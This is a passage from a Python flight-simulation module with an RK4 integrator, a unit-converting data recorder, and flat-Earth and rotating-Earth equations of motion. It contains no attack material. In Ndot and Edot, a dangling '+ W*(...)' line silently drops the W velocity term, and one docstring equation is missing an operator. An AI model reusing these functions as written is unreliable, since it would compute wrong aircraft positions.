k2[1]*past.Y)\n        z = h * (k2[0]*current.Z + k2[1]*past.Z)\n        \n        return [x, y, z]\n    \n    def RungeKutta4(self, h, Fdot, arg):\n        k1 = []\n        arg1 = []\n        for (a, f) in zip(arg, Fdot):\n            k = h*f(arg)\n            k1.append(k)\n            arg1.append(a + 0.5*k)\n        \n        k2 = []\n        arg2 = []\n        for (a, f) in zip(arg, Fdot):\n            k = h*f(arg1)\n            k2.append(k)\n            arg2.append(a + 0.5*k)\n    \n        k3 = []\n        arg3 = []\n        for (a, f) in zip(arg, Fdot):\n            k = h*f(arg2)\n            k3.append(k)\n            arg3.append(a + k)\n\n        k4 = []\n        for f in Fdot:\n            k4.append( h*f(arg3))\n\n        result = []\n        for (a, kc1, kc2, kc3, kc4) in zip(arg, k1, k2, k3, k4):\n            result.append(a + (kc1 + 2.0*kc2 + 2.0*kc3 + kc4) / 6.0)\n\n        return result\n    \n    def UnitTest(self):\n        self.ClassName = \"Integrator\"\n        def I1p(arg):\n            return (-4.0*arg[0] + 3.0*arg[1] + 6)\n\n        def I2p(arg):\n            return (-2.4*arg[0] + 1.6*arg[1] + 3.6)\n        \n        h = 0.1\n        Xdot = [I1p, I2p]\n        arg = [0, 0]\n        T = [.1, .2, .3, .4, .5]\n        I1 = [ 0.538255, 0.9684983,  1.310717,  1.581263, 1.793505]\n        I2 = [0.3196263, 0.5687817, 0.7607328, 0.9063208, 1.014402]\n        for (t,i1,i2) in zip(T,I1,I2):\n            wOut = self.RungeKutta4(h, Xdot, arg)\n            arg = wOut\n            \n            self.TestValue( wOut[0], i1, \"Integrator I1\", 1e-5)\n            self.TestValue( wOut[1], i2, \"Integrator I2\", 1e-5)\n\n        print(\"Number of Integrator failed tests: \", self.FailCount)\n\n###############################################################################\nclass SaveData(Convert):\n    # data to record\n    Labels = ({\n        'gePosition_ft_X': ['ft', 'm'], \n        'gePosition_ft_Y': ['ft', 'm'], \n        'gePosition_ft_Z': ['ft', 'm'],\n        'feVelocity_ft_s_X': ['ft_s', 'm_s'], \n        'feVelocity_ft_s_Y': ['ft_s', 'm_s'], \n        'feVelocity_ft_s_Z': ['ft_s', 'm_s'],\n        'altitudeMsl_ft': ['ft', 'm'], \n        'longitude_deg': ['deg', 'rad'],\n        'latitude_deg': ['deg', 'rad'],\n        'localGravity_ft_s2': ['ft_s2', 'm_s2'],\n        'eulerAngle_deg_Yaw': ['deg', 'rad'],\n        'eulerAngle_deg_Pitch': ['deg', 'rad'],\n        'eulerAngle_deg_Roll': ['deg', 'rad'],\n        'bodyAngularRateWrtEi_deg_s_Roll': ['deg_s', 'rad_s'],\n        'bodyAngularRateWrtEi_deg_s_Pitch': ['deg_s', 'rad_s'],\n        'bodyAngularRateWrtEi_deg_s_Yaw': ['deg_s', 'rad_s'],\n        'speedOfSound_ft_s': ['ft_s', 'm_s'],\n        'aero_bodyForce_lbf_X': ['lbf', 'N'], \n        'aero_bodyForce_lbf_Y': ['lbf', 'N'], \n        'aero_bodyForce_lbf_Z': ['lbf', 'N'], \n        'trueAirspeed_nmi_h':  ['nmi_h', 'm_s'],\n        'eiPosition_ft_X': ['ft', 'm'],\n        'eiPosition_ft_Y': ['ft', 'm'],\n        'eiPosition_ft_Z': ['ft', 'm']\n    })\n    \n    Metric = {}\n    Imperial = {}\n          \n    def SiKey(self, key):\n        oUnit = '_'+self.Labels[key][0]\n        iUnit = '_'+self.Labels[key][1]\n        siKey = key.replace(oUnit, iUnit)\n        return siKey\n    \n    def Init(self):\n        self.Clear()\n        self.Metric['time'] = []\n        for key in self.Labels:\n            self.Imperial[key] = []\n            siKey = self.SiKey(key)\n            self.Metric[siKey] = []\n    \n    def AddTime(self, value):\n        self.Metric['time'].append(value)\n        return\n    \n    def Add(self, label, value):\n        self.Metric[label].append(value)\n        return\n    \n    def Make(self):        \n        for key in self.Labels:\n            siKey = self.SiKey(key)\n            \n            units = self.Labels[key][1] + '->' + self.Labels[key][0]\n            self.Imperial[key] = self.ToImperial(self.Metric[siKey],units)\n            \n    def Clear(self):\n        self.Imperial.clear()\n        self.Metric.clear()\n        \n    def UnitTest(self):\n        self.ClassName = \"SaveData\"\n        \n        self.Init()\n            \n        self.AddTime(1)\n        self.AddTime(2)\n        self.AddTime(3)\n        \n        self.Add('gePosition_m_X', 20)\n        self.Add('gePosition_m_X', 21)\n        self.Add('gePosition_m_X', 22)\n        self.Add('gePosition_m_Y', 50)\n        self.Add('gePosition_m_Y', 55)\n        self.Add('gePosition_m_Y', 60)\n        self.Add('feVelocity_m_s_X', 70)\n        self.Add('feVelocity_m_s_X', 71)\n        self.Add('feVelocity_m_s_X', 72)\n        self.Add('altitudeMsl_m', 20)\n        self.Add('longitude_rad', 3.14159)\n        self.Add('localGravity_m_s2', 9.81)\n        self.Add('bodyAngularRateWrtEi_rad_s_Roll', 1.570796)\n        self.Add('speedOfSound_m_s', 100.0)\n        self.Add('aero_bodyForce_N_X', 90.0)\n        self.Add('trueAirspeed_m_s', 150.0)\n        \n        self.Make()\n        \n        self.TestValue(1, self.Metric[\"time\"][0], \"time\", 0.1)\n        self.TestValue(2, self.Metric[\"time\"][1], \"time\", 0.1)\n        self.TestValue(3, self.Metric[\"time\"][2], \"time\", 0.1)\n        \n        k = 'gePosition_ft_X'\n        self.TestValue(65.62, self.Imperial[k][0], k, 0.01)\n        self.TestValue(68.90, self.Imperial[k][1], k, 0.01)\n        self.TestValue(72.18, self.Imperial[k][2], k, 0.01)\n        \n        k = 'gePosition_ft_Y'\n        self.TestValue(164.04, self.Imperial[k][0], k, 0.01)\n        self.TestValue(180.45, self.Imperial[k][1], k, 0.01)\n        self.TestValue(196.85, self.Imperial[k][2], k, 0.01)\n        \n        k = 'feVelocity_ft_s_X'\n        self.TestValue(229.66, self.Imperial[k][0], k, 0.01)\n        self.TestValue(232.94, self.Imperial[k][1], k, 0.01)\n        self.TestValue(236.22, self.Imperial[k][2], k, 0.01)\n        \n        k = 'altitudeMsl_ft'\n        self.TestValue(65.62, self.Imperial[k][0], k, 0.01)\n        \n        k = 'longitude_deg'\n        self.TestValue(180.0, self.Imperial[k][0], k, 0.1)\n        \n        k = 'localGravity_ft_s2'\n        self.TestValue(32.2, self.Imperial[k][0], k, 0.1)\n        \n        k = 'bodyAngularRateWrtEi_deg_s_Roll'\n        self.TestValue(90.0, self.Imperial[k][0], k, 0.1)\n        \n        k = 'speedOfSound_ft_s'\n        self.TestValue(328.08, self.Imperial[k][0], k, 0.01)\n        \n        k = 'aero_bodyForce_lbf_X'\n        self.TestValue(20.23, self.Imperial[k][0], k, 0.01)\n        \n        k = 'trueAirspeed_nmi_h'\n        self.TestValue(291.58, self.Imperial[k][0], k, 0.01)\n        \n        self.Clear()\n        print(\"Number of RecData failed tests: \", self.FailCount)\n    \n###############################################################################\nclass Simulation(SaveData):\n    def __init__(self, daveFile):\n        self.DaveFile = daveFile\n        \n    Time = 0.0\n    timeStep = 0.1\n    Data = {}\n    IC = {}\n    \n    AeroModelInput = []\n    AeroModel = daveML.Model()\n    \n    ReferenceWingSpan = 0\n    ReferenceWingChord = 0\n    ReferenceWingArea = 0\n    \n    Position = Vector3(0, 0, 0)\n    \n    TotalMass = 0\n    TrueAirspeed = 0\n    BodyVelocity = Vector3(0, 0, 0)\n    BodyAccel = Vector3(0, 0, 0)\n    #BodyForce = Vector3(0, 0, 0)\n    BodyAngle = Vector3(0, 0, 0)\n    BodyAngularRate = Vector3(0, 0, 0)\n    BodyAngularAccel = Vector3(0, 0, 0)\n    \n    gvJx = 0\n    gvJy = 0\n    gvJz = 0\n    gvJxz = 0\n    Gamma = 0\n    InertiaMatrix = Matrix3x3()\n    InertiaMatrixInverse = Matrix3x3()\n    \n    aeroBodyForce = Vector3(0, 0, 0)\n    aeroBodyMoment = Vector3(0, 0, 0)\n    thrustBodyForce = Vector3(0, 0, 0)\n    \n    RecData = SaveData()\n    RecData.Init()\n        \n    def AdvanceTime(self):\n        self.RecData.AddTime(self.Time)\n        self.Time += self.timeStep\n        \n    def AddAeroModelInput(self, input):\n        self.AeroModelInput = input\n        \n    def EvaluateAeroModel(self):\n        for d in self.AeroModelInput:\n            self.AeroModel.Set(d, self.Data[d])\n        self.AeroModel.Update()\n\n    def Clear(self):\n        self.Time = 0.0\n        self.Data.clear()\n        self.RecData.Clear()\n        self.AeroModelInput.clear()\n    \n    def CalcAeroBodyForces(self, qS):\n        # compute the aero forces in the body frame\n        self.aeroBodyForce.X = ( \n            qS * self.AeroModel.DataFromName(\"aeroBodyForceCoefficient_X\") \n        )\n        self.aeroBodyForce.Y = (\n            qS * self.AeroModel.DataFromName(\"aeroBodyForceCoefficient_Y\") \n        )\n        self.aeroBodyForce.Z = (\n            qS * self.AeroModel.DataFromName(\"aeroBodyForceCoefficient_Z\") \n        )\n        \n        # save the aero force data\n        self.RecData.Add('aero_bodyForce_N_X', self.aeroBodyForce.X)\n        self.RecData.Add('aero_bodyForce_N_Y', self.aeroBodyForce.Y)\n        self.RecData.Add('aero_bodyForce_N_Z', self.aeroBodyForce.Z)\n        \n    def CalcAeroBodyMoments(self, qS):\n        # calculate the dimensional aero moments\n        self.aeroBodyMoment.X = (qS * self.ReferenceWingSpan  \n                   * self.AeroModel.DataFromName(\"aeroBodyMomentCoefficient_Roll\"))\n        self.aeroBodyMoment.Y = (qS * self.ReferenceWingChord \n                   * self.AeroModel.DataFromName(\"aeroBodyMomentCoefficient_Pitch\"))\n        self.aeroBodyMoment.Z = (qS * self.ReferenceWingSpan  \n                   * self.AeroModel.DataFromName(\"aeroBodyMomentCoefficient_Yaw\"))\n        \n    def NormalizeAngle(self, value, lower, upper):\n        \"\"\"Returns a value between the range lower and upper.\n        \n        Example: NormalizeAngle(181, -180, 180) returns -179\n        \"\"\"\n        angleRange = upper - lower\n        rangeValue = value - lower\n        return (rangeValue - (math.floor(rangeValue / angleRange) * angleRange)) + lower\n      \n    def SetValue(self, label, defValue = 0):\n        value = 0.0\n        infoStr = \"none\"\n        \n        if label in self.IC:\n            value = self.IC[label]\n            infoStr = \"[IC case]\"\n        elif self.AeroModel.HasName(label):\n            valueRaw = self.AeroModel.DataFromName(label)\n            units = self.AeroModel.Units(label)\n            value = self.ToSI(valueRaw, units)\n            infoStr = \"[DML model]\"\n        else:\n            value = defValue\n            infoStr = \"[default]\"\n        print(\"++\", label, \"=\", value, infoStr)\n        return value\n        \n    def ResetSimulation(self, ic):\n        self.Clear()\n        self.RecData.Init()\n    \n        self.AeroModel.LoadDml(self.DaveFile, False)\n        \n        self.IC.clear()\n        self.IC = self.SetIC(ic)\n        #self.IC = ic.copy()\n        print(self.IC)\n        \n        self.timeStep = self.SetValue(\"timeStep\", 0.1)\n        \n        self.TotalMass = self.SetValue(\"totalMass\", 1)\n        assert self.TotalMass != 0, \"TotalMass is 0\"\n        \n        self.ReferenceWingSpan = self.SetValue(\"referenceWingSpan\")\n        self.ReferenceWingChord = self.SetValue(\"referenceWingChord\")\n        self.ReferenceWingArea = self.SetValue(\"referenceWingArea\")\n        \n        self.AeroModel.Set(\"aeroBodyForceCoefficient_X\")\n        self.AeroModel.Set(\"aeroBodyForceCoefficient_Y\")\n        self.AeroModel.Set(\"aeroBodyForceCoefficient_Z\")\n\n        self.AeroModel.Set(\"aeroBodyMomentCoefficient_Roll\")\n        self.AeroModel.Set(\"aeroBodyMomentCoefficient_Pitch\")\n        self.AeroModel.Set(\"aeroBodyMomentCoefficient_Yaw\")\n        \n        self.TrueAirspeed = self.SetValue(\"trueAirspeed\")\n        \n        angleOfAttack = self.SetValue(\"angleOfAttack\")\n        angleOfSideslip = self.SetValue(\"angleOfSideslip\")\n        u = self.TrueAirspeed * math.cos(angleOfAttack) * math.cos(angleOfSideslip);\n        v = self.TrueAirspeed * math.sin(angleOfSideslip);\n        w = self.TrueAirspeed * math.sin(angleOfAttack) * math.cos(angleOfSideslip);\n        self.BodyVelocity.Set(u, v, w)\n        print(\"Vuvw: \", self.BodyVelocity)\n\n        self.BodyAccel.Set(0, 0, 0)\n        \n        # Set the rotation quaternion based on the Euler angles\n        rollEulerAngle  = self.SetValue(\"eulerAngle_Roll\")\n        pitchEulerAngle = self.SetValue(\"eulerAngle_Pitch\")\n        yawEulerAngle   = self.SetValue(\"eulerAngle_Yaw\")\n        self.BodyAngle.Set( rollEulerAngle, pitchEulerAngle, yawEulerAngle )\n\n        # Set angular rates\n        P = self.SetValue(\"eulerAngleRate_Roll\")\n        Q = self.SetValue(\"eulerAngleRate_Pitch\")\n        R = self.SetValue(\"eulerAngleRate_Yaw\")\n        self.BodyAngularRate.Set( P, Q, R )\n        \n        # Set the inertia matrix\n        i11 =  self.SetValue(\"bodyMomentOfInertia_X\")\n        i12 = -self.SetValue(\"bodyProductOfInertia_XY\")\n        i13 = -self.SetValue(\"bodyProductOfInertia_XZ\")\n\n        i21 = -self.SetValue(\"bodyProductOfInertia_YX\")\n        i22 =  self.SetValue(\"bodyMomentOfInertia_Y\")\n        i23 = -self.SetValue(\"bodyProductOfInertia_YZ\")\n\n        i31 = -self.SetValue(\"bodyProductOfInertia_XZ\")\n        i32 = -self.SetValue(\"bodyProductOfInertia_YZ\")\n        i33 =  self.SetValue(\"bodyMomentOfInertia_Z\")\n\n        self.InertiaMatrix.SetRow1(i11, i12, i13)\n        self.InertiaMatrix.SetRow2(i21, i22, i23)\n        self.InertiaMatrix.SetRow3(i31, i32, i33)\n        \n        self.InertiaMatrixInverse = self.InertiaMatrix.Inverse()\n        \n        self.gvJx = self.InertiaMatrix.A11\n        self.gvJy = self.InertiaMatrix.A22\n        self.gvJz = self.InertiaMatrix.A33\n        self.gvJxz = self.InertiaMatrix.A13\n        self.Gamma = (self.gvJx*self.gvJz) - (self.gvJxz*self.gvJxz)\n    \n    def Reset(self, ic):\n        pass\n        \n    def Operate(self):\n        pass\n    \n    def Run(self, numberOfSeconds):\n        endTime = int(numberOfSeconds / self.timeStep) + 1\n        for i in range(endTime):\n            self.Operate()\n        print(\"======done=======\")\n        \n    def UnitTest(self):\n        self.ClassName = \"Simulation\"\n        # test normalize angle between -180 and 180 (and -pi and pi)\n        pi = math.pi\n        for i in range(360):\n            ang = i\n            if ang > 179:\n                ang -= 360\n            self.TestValue(ang, self.NormalizeAngle(i, -180.0, 180.0), \"NormalizeAngle\", 0.001)\n            \n            ri = math.radians(i)\n            rang = math.radians(ang)\n            self.TestValue(rang, self.NormalizeAngle(ri, -pi, pi), \"NormalizeAngle\", 1e-6)     \n        \n        print(\"Number of Simulation failed tests: \", self.FailCount)\n        \n###############################################################################\nclass FlatEarth(Simulation):\n    \"\"\" Flat Earth equations.\n    \n    Create a simulation for a flat Earth model. Singularities exist at the poles.  \n    Vehicle must be symmetric about the x body axis.  Vehicle pitch must stay \n    below $90^\\circ$.\n\n    Force Equations\n    ---------------\n    $\\dot{U} = RV - QW - g_D \\, \\sin \\theta + \\frac{X_A + X_T}{m}$  \n    $\\dot{V} = PW - RU + g_D \\, \\sin \\phi \\, \\cos \\theta + \\frac{Y_A + Y_T}{m}$  \n    $\\dot{W} = QU - PV + g_D \\, \\cos \\phi \\, \\cos \\theta + \\frac{Z_A + Z_T}{m}$  \n    In vector form,  \n    $\\dot{\\vec{v}} = \\frac{F}{m} + R_{n/b} \n    \\begin{pmatrix} 0 \\\\ 0 \\\\ g_D \\end{pmatrix} - \\vec{\\omega} \\times \\vec{v}$  \n    where $R_{n/b}$ is the rotation matrix from NED to body.  \n    $R_{n/b} = \n    \\begin{bmatrix} \n    1 &         0 &        0 \\\\\n    0 &  \\cos \\phi & \\sin \\phi \\\\\n    0 & -\\sin \\phi & \\cos \\phi\n    \\end{bmatrix} \n    \\begin{bmatrix} \n    \\cos \\theta &         0 & -\\sin \\theta \\\\\n    0           &         1 &            0 \\\\\n    \\sin \\theta &         0 & \\cos \\theta\n    \\end{bmatrix}\n    \\begin{bmatrix} \n     \\cos \\psi &  \\sin \\psi & 0 \\\\\n    -\\sin \\psi &  \\cos \\psi & 0 \\\\\n             0 &          0 & 1\n    \\end{bmatrix}$  \n    $R_{b/n} = [R_{n/b}]^T$  \n\n    Kinematic equations\n    -------------------\n    $\\dot{\\phi} = P + \\tan \\theta \\, (Q \\sin \\phi + R \\cos \\phi)$  \n    $\\dot{\\theta} = Q \\cos \\phi - R \\sin \\phi$  \n    $\\dot{\\psi} = (Q \\sin \\phi + R \\cos \\phi) \\, / \\, \\cos \\theta$  \n    In vector form,  \n    $\\dot{\\Phi} = H {\\omega}^b$, where $H = \n    \\begin{pmatrix}\n    1 & \\sin \\phi \\tan \\theta & \\cos \\phi \\tan \\theta \\\\\n    0 & \\cos \\phi             & -\\sin \\phi \\\\\n    0 & \\sin \\phi / \\cos \\theta & \\cos \\phi / \\cos \\theta\n    \\end{pmatrix}$  \n\n    Moment Equations\n    ----------------\n    $\\Gamma \\dot{P} = J_{xz} [J_x - J_y + J_z]PQ - [J_z(J_z - J_y) + J^2_{xz}]QR + l J_z + n J_{xz}$  \n    $J_y \\dot{Q} = (J_z - J_x)PR - J_{xz}(P^2 - R^2) + m$  \n    $\\Gamma \\dot{R} = [(J_x - J_y)J_x + J^2_{xz}]PQ - J_{xz}[J_x - J_y + J_z]QR + l J_{xz} n J_x$  \n    $\\Gamma = J_x J_z - J^2_{xz}$  \n    In vector form,  \n    $\\dot{\\omega^b_{b/i}} = J^{-1}(M^b - \\omega^b_{b/i} J \\omega^b_{b/i} )$\n\n    Navigation Equations\n    --------------------\n    $\\dot{p_N} = U c\\theta c\\psi + V(-c\\phi s\\psi + s\\phi s\\theta c\\psi) \n    + W(s\\phi s\\psi + c\\phi s\\theta c\\psi)$  \n    $\\dot{p_E} = U c\\theta s\\psi + V(c\\phi c\\psi + s\\phi s\\theta s\\psi)\n    + W(-s\\phi c\\psi + c\\phi s\\theta c\\psi)$  \n    $\\dot{h} = U s\\theta - V s\\phi c\\theta - W c\\phi c\\theta$  \n    In vector form,  \n    $\\dot{\\vec{p}} = R_{b/n} \\vec{v}$\n    \"\"\"\n    gD = 0\n    mass = 0\n    \n    Planet = Earth()\n    \n    # Integrator\n    Integrator = Integrator()\n    \n    # state values\n    X = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    \n    # state DFE\n    Xdot = []\n    \n    # the indices of the state list\n    Ui = 0\n    Vi = 1\n    Wi = 2\n    \n    ϕi = 3\n    θi = 4\n    ψi = 5\n    \n    Pi = 6\n    Qi = 7\n    Ri = 8\n    \n    Ni = 9\n    Ei = 10\n    Zi = 11\n    \n    def Udot(self, state):\n        V = state[self.Vi]\n        W = state[self.Wi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        sinθ = math.sin(state[self.θi])\n        \n        assert self.mass != 0.0, \"Udot mass is 0\"\n        value =  R*V - Q*W - self.gD*sinθ + (self.aeroBodyForce.X + self.thrustBodyForce.X) / self.mass\n        return value\n    \n    def Vdot(self, state):\n        U = state[self.Ui]\n        W = state[self.Wi]\n        P = state[self.Pi]\n        R = state[self.Ri]\n        sinϕ = math.sin(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        \n        assert self.mass != 0.0, \"Vdot mass is 0\"\n        value = -R*U + P*W + self.gD*sinϕ*cosθ + (self.aeroBodyForce.Y + self.thrustBodyForce.Y) / self.mass\n        return value\n    \n    def Wdot(self, state):\n        U = state[self.Ui]\n        V = state[self.Vi]\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        cosϕ = math.cos(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        \n        assert self.mass != 0.0, \"Wdot mass is 0\"\n        value =  Q*U - P*V + self.gD*cosϕ*cosθ + (self.aeroBodyForce.Z + self.thrustBodyForce.Z) / self.mass\n        return value\n    \n    def ϕdot(self, state):\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        \n        assert state[self.θi] < abs(math.radians(90.0)), \"θdot tanθ is 90\"\n        tanθ = math.tan(state[self.θi])\n        sinϕ = math.sin(state[self.ϕi])\n        cosϕ = math.cos(state[self.ϕi])\n        \n        value = P + tanθ * (Q*sinϕ + R*cosϕ)\n        return value\n    \n    def θdot(self, state):\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        cosϕ = math.cos(state[self.ϕi])\n        sinϕ = math.sin(state[self.ϕi])\n        \n        value = Q*cosϕ - R*sinϕ\n        return value\n    \n    def ψdot(self, state):\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        cosϕ = math.cos(state[self.ϕi])\n        sinϕ = math.sin(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        \n        assert cosθ != 0.0, \"ψdot cosθ is 0\"\n        value = (Q*sinϕ + R*cosϕ) / cosθ\n        return value\n    \n    def Pdot(self, state):\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        Jx = self.gvJx\n        Jy = self.gvJy\n        Jz = self.gvJz\n        Jxz = self.gvJxz\n        l = self.aeroBodyMoment.X\n        n = self.aeroBodyMoment.Z\n        \n        assert self.Gamma != 0.0, \"Pdot Gamma is 0\"\n        value = (Jxz * (Jx - Jy + Jz)*P*Q - (Jz*(Jz - Jy) + Jxz*Jxz)*Q*R + Jz*l + Jxz*n) / self.Gamma\n        return value\n        \n    def Qdot(self, state):\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        Jx = self.gvJx\n        Jy = self.gvJy\n        Jz = self.gvJz\n        Jxz = self.gvJxz\n        m = self.aeroBodyMoment.Y\n\n        assert Jy != 0.0, \"Qdot Jy is 0\"\n        value = ((Jz - Jx)*P*R - Jxz*(P*P - R*R) + m) / Jy\n        return value\n        \n    def Rdot(self, state):\n        P = state[self.Pi]\n        Q = state[self.Qi]\n        R = state[self.Ri]\n        Jx = self.gvJx\n        Jy = self.gvJy\n        Jz = self.gvJz\n        Jxz = self.gvJxz\n        l = self.aeroBodyMoment.X\n        n = self.aeroBodyMoment.Z\n        \n        assert self.Gamma != 0.0, \"Pdot Gamma is 0\"\n        value = (((Jx - Jy)*Jx + Jxz*Jxz)*P*Q - Jxz*(Jx - Jy + Jz)*Q*R + Jxz*l + Jx*n) / self.Gamma\n        return value\n        \n    def Ndot(self, state):\n        U = state[self.Ui]\n        V = state[self.Vi]\n        W = state[self.Wi]\n        cosϕ = math.cos(state[self.ϕi])\n        sinϕ = math.sin(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        sinθ = math.sin(state[self.θi])\n        cosψ = math.cos(state[self.ψi])\n        sinψ = math.sin(state[self.ψi])\n        \n        value = U*cosθ*cosψ + V*(-cosϕ*sinψ + sinϕ*sinθ*cosψ)\n        + W*(sinϕ*sinψ + cosϕ*sinθ*cosψ)\n        return value\n    \n    def Edot(self, state):\n        U = state[self.Ui]\n        V = state[self.Vi]\n        W = state[self.Wi]\n        cosϕ = math.cos(state[self.ϕi])\n        sinϕ = math.sin(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        sinθ = math.sin(state[self.θi])\n        cosψ = math.cos(state[self.ψi])\n        sinψ = math.sin(state[self.ψi])\n        \n        value = U*cosθ*sinψ + V*(cosϕ*cosψ + sinϕ*sinθ*sinψ)\n        + W*(-sinϕ*cosψ + cosϕ*sinθ*sinψ)\n        return value\n    \n    def Zdot(self, state):\n        U = state[self.Ui]\n        V = state[self.Vi]\n        W = state[self.Wi]\n        cosϕ = math.cos(state[self.ϕi])\n        sinϕ = math.sin(state[self.ϕi])\n        cosθ = math.cos(state[self.θi])\n        sinθ = math.sin(state[self.θi])\n        \n        value = U*sinθ - V*sinϕ*cosθ - W*cosϕ*cosθ\n        return value\n        \n    def Reset(self, ic):\n        self.ResetSimulation(ic)\n        \n        self.gD = self.Planet.GravityConstant()\n        self.mass = self.TotalMass\n        \n        self.Xdot.clear()\n        self.Xdot = [self.Udot, self.Vdot, self.Wdot, self.ϕdot, self.θdot, self.ψdot, \n                     self.Pdot, self.Qdot, self.Rdot, self.Ndot, self.Edot, self.Zdot]\n        \n        self.X[self.Ui] = self.BodyVelocity.X\n        self.X[self.Vi] = self.BodyVelocity.Y\n        self.X[self.Wi] = self.BodyVelocity.Z\n        \n        self.X[self.ϕi] = self.BodyAngle.X\n        self.X[self.θi] = self.BodyAngle.Y\n        self.X[self.ψi] = self.BodyAngle.Z\n        \n        self.X[self.Pi] = self.BodyAngularRate.X\n        self.X[self.Qi] = self.BodyAngularRate.Y\n        self.X[self.Ri] = self.BodyAngularRate.Z\n        \n        self.X[self.Ni] = self.Position.X\n        self.X[self.Ei] = self.Position.Y\n        self.X[self.Zi] = self.SetValue(\"altitudeMsl\")\n        \n    def Operate(self):\n        # save output data\n        self.RecData.Add('localGravity_m_s2', self.gD)\n        self.RecData.Add('altitudeMsl_m', self.X[self.Zi])\n        self.RecData.Add('eulerAngle_rad_Roll', self.X[self.ϕi])\n        self.RecData.Add('eulerAngle_rad_Pitch', self.X[self.θi])\n        self.RecData.Add('eulerAngle_rad_Yaw', self.NormalizeAngle(self.X[self.ψi],-math.pi,math.pi))\n        self.RecData.Add('trueAirspeed_m_s', self.TrueAirspeed)\n        \n        # integrate the equations\n        self.X = self.Integrator.RungeKutta4(self.timeStep, self.Xdot, self.X)\n        \n        # Now advance time and update state equations\n        self.AdvanceTime()\n        \n        u = self.X[self.Ui]\n        v = self.X[self.Vi]\n        w = self.X[self.Wi]\n        self.TrueAirspeed = math.sqrt(u*u + v*v + w*w)\n        \n        # get dynamic pressure:  q = 1/2 rho v^2\n        dynamicPressure = (\n            self.Planet.DynamicPressure(self.X[self.Zi], self.TrueAirspeed)\n        )\n\n        # Get the qS factor for getting dimensional forces and moments\n        qS = dynamicPressure * self.ReferenceWingArea\n\n        # Compute the aerodynamic loads\n        assert self.TrueAirspeed != 0, \"TrueAirspeed is 0 to model\"\n        self.Data[\"trueAirspeed\"] = self.TrueAirspeed * self.MeterToFeet\n        self.Data[\"bodyAngularRate_Roll\"] = self.X[self.Pi]\n        self.Data[\"bodyAngularRate_Pitch\"] = self.X[self.Qi]\n        self.Data[\"bodyAngularRate_Yaw\"] = self.X[self.Ri]\n        self.EvaluateAeroModel()\n        \n        # Aero forces (Newtons) body\n        self.CalcAeroBodyForces(qS)\n        \n        # Aero moments\n        self.CalcAeroBodyMoments(qS)\n        \n###############################################################################\nclass slEarthSim(Simulation):\n    \"\"\"\n    The software implements the oblate rotating planet EOM as derived in \n    [Stevens and Lewis]\n    (https://bcs.wiley.com/he-bcs/Books?action=index&itemId=0471371459&itemTypeId=BKS&bcsId=2073). \n    \n    Equations in LaTeX format:\n    \n    $\\dot{q_0} = -0.5 * (Pq_1 + Qq_2 + Rq_3)$  \n    $\\dot{q_1} = 0.5 * (Pq_0 + Rq_2 - Qq_3)$  \n    $\\dot{q_2} = 0.5 * (Qq_0 - Rq_1 + Pq_3)$  \n    $\\dot{q_3} = 0.5 * (Rq_0 + Qq_1 - Pq_2)$  \n\n    $\\dot{P_x} = V_x$  \n    $\\dot{P_y} = V_y$  \n    $\\dot{P_z} = V_z$  \n    where $P$ and $V$ are in the ECEF frame.\n\n    $\\dot{v_x} = \\frac{F_x}{m} + 2 \\omega_e V_y + g_x + P_x \\omega^2_e$  \n    $\\dot{v_y} = \\frac{F_y}{m} - 2 \\omega_e V_x + g_y + P_y \\omega^2_e$  \n    $\\dot{v_z} = \\frac{F_z}{m} + g_z$  \n    where $\\omega_e$ is the rotation rate of Earth.  The terms $g_x$, $g_y$, \n    and $g_z$ are the $J_2$ gravity components in ECEF. This acceleration equation \n    is in the ECEF frame.\n\n    $\\Gamma \\dot{P} = J_{xz} [J_x - J_y + J_z]PQ - [J_z(J_z - J_y) + J^2_{xz}]QR \n      + l J_z + n J_{xz}$  \n    $J_y \\dot{Q} = (J_z - J_x)PR - J_{xz}(P^2 - R^2) + m$  \n    $\\Gamma \\dot{R} = [(J_x - J_y)J_x + J^2_{xz}]PQ - J_{xz}[J_x - J_y + J_z]QR \n      + l J_{xz} n J_x$  \n    where $\\Gamma = J_x J_z - J^2_{xz}$ \n    \"\"\"\n    Planet = Earth()\n    RotationAngle = 0\n    EarthRotation = Quaternion(0, 0, 0, Planet.RotationRate)\n        \n    # Earth rotatation in body frame\n    Per = 0\n    Qer = 0\n    Rer = 0\n    \n    # quaternion frame rotations\n    #  i = inertial frame ECI\n    #  e = earth centered, earth fixed ECEF\n    #  n = north east down NED\n    #  b = body forward right down FRD\n    Qe2n = Quaternion(1,0,0,0)\n    Qn2b = Quaternion(1,0,0,0)\n    Qe2b = Quaternion(1,0,0,0)\n    Qi2e = Quaternion(1,0,0,0)\n    \n    QforceEcf = Quaternion(0,0,0,0)\n    \n    # ECEF gravity components\n    Gx = 0\n    Gy = 0\n    Gz = 0\n    \n    Integrator = Integrator()\n    \n    # state values: quaternion, position, acceleration and angular rates\n    X = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    \n    # the state differential equations\n    Xdot = []\n    \n    # the indices of the state list\n    Qni = 0\n    Qxi = 1\n    Qyi = 2\n    Qzi = 3\n    \n    Xi = 4\n    Yi = 5\n    Zi = 6\n    \n    Vxi = 7\n    Vyi = 8\n    Vzi = 9\n    \n    Pi = 10\n    Qi = 11\n    Ri = 12\n    \n    def Qstate(self,state):\n        q0 = state[self.Qni]\n        q1 = state[self.Qxi]\n        q2 = state[self.Qyi]\n        q3 = state[self.Qzi]\n        p = state[self.Pi] - self.Per\n        q = state[self.Qi] - self.Qer\n        r = state[self.Ri] - self.Rer\n        return q0, q1, q2, q3, p, q, r\n    def QnDot(self, state):\n        q0, q1, q2, q3, p, q, r = self.Qstate(state)\n        qnDot = -0.5*(q1*p + q2*q + q3*r)\n        return qnDot\n    def QxDot(self, state):\n        q0, q1, 